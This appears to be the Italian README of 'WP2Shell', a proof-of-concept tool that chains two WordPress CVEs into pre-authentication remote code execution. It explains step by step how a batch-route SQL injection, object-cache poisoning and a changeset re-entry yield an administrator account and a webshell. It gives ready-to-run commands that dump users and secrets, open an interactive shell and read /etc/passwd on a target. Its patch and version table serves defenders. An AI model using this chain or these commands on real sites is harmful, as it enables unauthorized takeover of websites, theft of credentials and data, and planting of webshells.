
PoC per CVE-2026-63030 + CVE-2026-60137, noto anche come WP2Shell
Esecuzione remota di codice pre-autenticazione per WordPress 6.9.0–6.9.4 e 7.0.0–7.0.1.
Combina CVE-2026-63030 (SQLi da confusione delle route del batch) con CVE-2026-60137 (rientro del changeset del customizer) per ottenere la creazione di un amministratore senza autenticazione e l'esecuzione di comandi del sistema operativo. Nessun cracking delle password richiesto.

Un ringraziamento a hashkitten per la scoperta; leggi l'analisi tecnica completa di SLCyber qui.
Il processore batch dell'API REST di WordPress (serve_batch_request_v1) ha un bug di indicizzazione off-by-one: quando wp_parse_url() fallisce su un percorso di sotto-richiesta, il WP_Error risultante viene aggiunto a $validation[] ma non a $matches[]. Questo desincronizza i due array — ogni richiesta successiva viene instradata tramite l'handler sbagliato.
Annidando un batch strutturato con cura all'interno di un altro batch, un attaccante può:
author__not_in (il cast stringa→array salta absint())UNION SELECT per avvelenare la cache degli oggetti di WordPress con falsi oggetti postUna volta completata la configurazione (scoperta del prefisso delle tabelle e dell'ID admin), il payload di escalation si attiva in una singola richiesta HTTP — avvelenamento della cache, escalation dei privilegi e creazione dell'utente avvengono tutti lato server in un unico round-trip.
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
Avvelenamento della cache (7 post falsi tramite UNION):
[embed] nel suo contenutocustomize_changeset, stato future, data nel passato)post_type=nav_menu_item per il controllo is_nav_menu_item)post_type=request, post_status=parse, parent=inner)Flusso di esecuzione:
[embed] si attivawp_update_postwp_update_post legge il changeset in cache (parent=outer) → il controllo di gerarchia rileva Loop 1future → conversione automatica in publish_wp_customize_publish_changeset si attiva → wp_set_current_user(admin_id) → contesto admin attivonav_menu_item[real_id] — la cache dice type=nav_menu_item → percorso UPDATEobject_id risolve un post in cache con post_parent=re-entry → wp_update_post sul post realeUna variabile di sessione MySQL anti-ricorsione (@_wp2s) garantisce che la catena si attivi esattamente una volta e non vada in loop.
--cleanup elimina l'utente creato e rimuove la webshell all'uscitagit clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
Niente pip install, niente virtualenv. È un singolo file.
# Passive boolean oracle test
python3 wp2shell.py check http://target.com
# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users
# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users
# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i
# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i
I comandi check e read funzionano su qualsiasi target interessato. La catena exploit ha tre requisiti aggiuntivi:
Se il target utilizza Redis o Memcached come cache degli oggetti, split_the_query viene forzato indipendentemente da per_page e le righe UNION vengono scartate durante il recupero dei soli ID. Il comando read funziona comunque (l'estrazione blind non necessita che UNION sopravviva nella cache), ma exploit fallirà.
| Branch | Vulnerable | Fixed |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
La patch aggiunge $matches[] = $single_request; per i casi di errore (correggendo l'off-by-one) e un controllo di rientro in serve_request().
wp2shell.py (single file, ~1650 lines)
├── Client HTTP transport with batch URL negotiation
├── Desync Nested batch payload construction
├── BlindExtractor Boolean binary search (universal)
├── UnionExtractor In-band via forged post_title (fastest)
├── ErrorExtractor EXTRACTVALUE-based (intermediate)
├── PoisonGraph Hierarchy loop structure for cache poisoning
├── Exploiter Chain orchestration (seed → extract → escalate)
└── AdminSession Authenticated session, webshell, cleanup
Perché /wp/v2/widgets come route sorgente?
Il controller Widgets non registra per_page, orderby o author_exclude nello schema del suo endpoint. Questi parametri superano la validazione senza modifiche (i parametri sconosciuti vengono ignorati dal validatore dello schema). Quando la desincronizzazione instrada questa richiesta attraverso il controller Posts, questi valori grezzi fluiscono direttamente in WP_Query.
Perché per_page=500?
class-wp-query.php:3375 — split_the_query richiede !empty($limits) && posts_per_page < 500. Con per_page=500, la condizione 500 < 500 è falsa, quindi split_the_query viene disabilitato. La query completa (inclusa UNION) viene eseguita come unica istruzione e tutte le righe iniettate sopravvivono nel set di risultati e nella cache.
Perché nav_menu_item[real_id] (ID positivo)?
Usare un ID post positivo fa entrare nel percorso UPDATE a nav-menu.php:614, che chiama wp_update_post con un $post_id non zero. Questo è fondamentale perché wp_check_post_hierarchy_for_loops a post.php:8070 esce anticipatamente quando $post_id = 0 (nuovi post). La cache viene avvelenata con post_type=nav_menu_item per quell'ID, così is_nav_menu_item() supera il controllo del tipo a nav-menu.php:426. Il percorso UPDATE attiva quindi il controllo di gerarchia che rileva Loop 2.
Perché due loop di gerarchia?
Il Loop 1 (changeset ↔ outer) attiva la pubblicazione del changeset e imposta il contesto admin. Il Loop 2 (re-entry ↔ inner) si attiva durante la finestra admin (all'interno della chiamata save() dell'impostazione della voce di menu nel loop di pubblicazione del changeset) e attiva parse_request → rientro nell'API REST. I loop sono indipendenti perché la correzione del Loop 2 deve scrivere il post di rientro nel DB durante la finestra admin alla riga 3581 — prima del reset alla riga 3589.
Questo strumento è pubblicato a scopo di test di sicurezza autorizzati e ricerca. Utilizzalo solo su sistemi di tua proprietà o per i quali disponi di un'autorizzazione scritta esplicita al test. L'accesso non autorizzato a sistemi informatici è illegale.
Ricerca e sviluppo a cura di CryptoCat.
$post_idwp_update_post(re-entry) → scrive type=request, status=parse nel DBwp_transition_post_status attiva do_action("parse_request") → rest_api_loaded() → serve_request()POST /wp/v2/users in coda riesce → amministratore creato → die()| Requirement | Why | Default WP? |
|---|
| At least one published post | oEmbed needs a local URL to trigger embed processing | Yes (Hello World) |
| No persistent object cache | Split-the-query must be disabled for UNION rows to survive | Yes (file cache default) |
| REST API accessible | Re-entry via parse_request needs the REST server | Yes |
| Direct filesystem write | Plugin upload needs FS_METHOD=direct or PHP owning wp-content | Yes (most hosts) |